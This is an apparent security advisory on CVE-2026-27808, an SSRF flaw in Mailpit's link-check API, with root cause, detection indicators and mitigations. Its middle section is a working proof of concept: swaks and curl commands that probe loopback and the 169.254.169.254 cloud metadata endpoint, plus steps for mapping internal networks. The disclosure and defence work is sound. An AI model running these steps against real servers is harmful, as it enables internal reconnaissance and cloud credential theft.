CVE-2026-27808: 
NixOS vulnerability analysis and mitigation

CVE-2026-27808 is a Server-Side Request Forgery (SSRF) vulnerability in Mailpit, an email testing tool and API for developers. The flaw exists in the Link Check API endpoint (/api/v1/message/{ID}/link-check), which performs HTTP HEAD requests to every URL found in an email without validating target hosts or filtering private/internal IP addresses. All versions of Mailpit up to and including 1.29.1 are affected; version 1.29.2 contains the fix. The vulnerability was reported by security researcher @rtvkiz, disclosed on February 24, 2026, and published to the NVD on February 26, 2026. It carries a CVSS v3.1 base score of 8.6 (High) per Feedly/NVD, though the GitHub Advisory Database rates it 5.8 (Moderate) (Github Advisory, Mailpit Release).

The root cause is CWE-918 (Server-Side Request Forgery): the doHead() function in internal/linkcheck/status.go creates a plain http.Transport{} and http.Client with no DialContext hook or IP validation, allowing it to issue HTTP HEAD requests to any URL extracted from an email's HTML or text body. The call chain flows from GET /api/v1/message/{ID}/link-check → LinkCheck() → linkcheck.RunTests() → getHTTPStatuses() → concurrent doHead() goroutines, with no filtering of loopback (127.0.0.0/8), private (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local (169.254.0.0/16), or IPv6 equivalents. Because the API response returns HTTP status codes and status text for each probed URL, this is a non-blind SSRF, giving attackers direct, structured feedback without timing or side-channel inference. This is the same vulnerability class previously fixed in the HTML Check API (CVE-2026-23845) and the screenshot proxy (CVE-2026-21859), but the Link Check code path was omitted from both prior fixes (Github Advisory, Patch Commit).

Successful exploitation allows an attacker to perform internal network reconnaissance, including enumerating hosts and open ports by comparing status codes (200 OK vs. connection refused vs. timeout), accessing cloud provider metadata endpoints (e.g., 169.254.169.254/latest/meta-data/), fingerprinting internal services, and bypassing network segmentation using the Mailpit server's privileged network position. In the default configuration — where both SMTP (port 1025) and the API (port 8025) are bound to all interfaces with no authentication — this is fully exploitable remotely with zero user interaction. There is no integrity or availability impact; the primary risk is confidentiality loss through internal infrastructure disclosure (Github Advisory).

A proof-of-concept exploit is publicly documented in the GitHub Security Advisory, demonstrating the full attack chain using common tools (swaks, curl). There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.047% (15th percentile), indicating a low near-term exploitation probability (Github Advisory).

1. Identify a target: Locate a publicly accessible Mailpit instance running version ≤ 1.29.1 with default settings (no authentication on SMTP port 1025 or API port 8025).
2. Craft a malicious email: Send an HTML email via SMTP containing URLs pointing to internal targets (e.g., http://127.0.0.1:8081/ssrf-proof and http://169.254.169.254/latest/meta-data/) using a tool like swaks:

   swaks --to recipient@example.com --from attacker@example.com \
     --server <target>:1025 --header "Content-Type: text/html" \
     --body '<a href="http://127.0.0.1:8081/ssrf-proof">click</a><a href="http://169.254.169.254/latest/meta-data/">metadata</a>'

3. Retrieve the message ID: Query the Mailpit API to get the ID of the injected email:

   curl -s http://<target>:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID'

4. Trigger the Link Check API: Call the link-check endpoint using the message ID (or the latest shorthand):

   curl -s http://<target>:8025/api/v1/message/latest/link-check | jq .

5. Analyze the response: The API returns structured JSON with HTTP status codes and status text for each URL, confirming reachability of internal services:

   {"Links": [{"URL": "http://127.0.0.1:8081/ssrf-proof", "StatusCode": 200, "Status": "OK"}, {"URL": "http://169.254.169.254/latest/meta-data/", "StatusCode": 200, "Status": "OK"}]}

6. Enumerate internal network: Repeat with different internal IPs and ports to map the internal network, identify running services, and potentially access cloud metadata credentials (Github Advisory).

• Network: Outbound HTTP HEAD requests from the Mailpit server process to RFC-1918 addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback (127.0.0.1), or link-local addresses (169.254.169.254); unusual HEAD requests to cloud metadata endpoints originating from the Mailpit host.
• Logs: Mailpit API access logs showing repeated GET /api/v1/message/{ID}/link-check requests, especially from external or unexpected source IPs; log entries from internal HTTP servers showing HEAD requests with a Mailpit/<version> User-Agent string.
• Application Logs (post-patch, v1.29.2+): Mailpit warning log entries containing [link-check] Blocked HEAD request to private/reserved address indicating attempted exploitation against a patched instance.
• Network Traffic: HTTP HEAD requests to port 8081, 8408, or other non-standard internal ports originating from the Mailpit server; connections to 169.254.169.254 from the Mailpit process (Github Advisory, Patch Commit).

Primary remediation: Upgrade Mailpit to version 1.29.2 or later, which introduces a safeDialContext dialer that blocks all HTTP requests to internal IP ranges by default (Mailpit Release, Patch Commit).

If immediate upgrade is not possible:

• Implement network-level egress filtering to block outbound HTTP/HTTPS connections from the Mailpit host to private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
• Restrict access to the Mailpit API (port 8025) and SMTP (port 1025) to trusted networks only using firewall rules.
• Enable authentication on both the SMTP and API interfaces to limit who can send emails and trigger the link-check endpoint.

Note: After upgrading to v1.29.2, the new --allow-internal-http-requests flag (env: MP_ALLOW_INTERNAL_HTTP_REQUESTS=true) can re-enable internal requests if required for legitimate test suite use cases.

The Mailpit maintainer (@axllent) acknowledged the report and credited researcher @rtvkiz for responsible disclosure, releasing the fix promptly and describing the upgrade as "strongly recommended" in the release notes (Mailpit Release). The advisory notes this is the third SSRF variant found in Mailpit's outbound HTTP features, following similar fixes in the HTML Check API and screenshot proxy, suggesting a pattern of incomplete security remediation across related code paths. No significant broader media coverage or social media discussion has been identified beyond standard vulnerability database aggregation.